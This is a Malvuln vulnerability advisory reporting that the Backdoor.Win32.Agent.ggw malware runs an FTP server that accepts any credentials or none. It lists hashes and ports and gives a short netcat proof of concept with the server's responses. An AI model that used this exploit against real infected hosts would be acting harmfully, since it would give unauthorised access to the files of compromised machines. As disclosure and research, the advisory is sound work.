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Backdoor.Win32.Agent.ggw MVID-2021-0193 Authentication Bypass

Backdoor.Win32.Agent.ggw MVID-2021-0193 Authentication Bypass
Posted Apr 30, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Agent.ggw malware suffers from a bypass vulnerability.

tags | exploit, bypass
systems | windows
SHA-256 | c52bcc6a9c74baab8584f1ee937aab5d3bc4311b75c55a5c5958da7c12fb02b7

Backdoor.Win32.Agent.ggw MVID-2021-0193 Authentication Bypass

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/509e3d4839688c6173980dfba22ebd55.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ggw
Vulnerability: Authentication Bypass
Description: The malware runs a built-in FTP server listening on one of several random TCP ports like 32335, 27227, 27942, 14223, 14988, 11092. Third-party attackers who can reach the server and that know or guess the port can "logon" using any USER/PASS combination or provide no credentials at all.
Type: PE32
MD5: 509e3d4839688c6173980dfba22ebd55
Vuln ID: MVID-2021-0193
Dropped files:
Disclosure: 04/29/2021

Exploit/PoC:
1) Any user creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
USER mal
331 Password required
PASS vuln
230 User logged in.
SYST
501 Option not supported.
LIST
226 Transfer complete

2) No creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
SYST
501 Option not supported.
LIST
226 Transfer complete

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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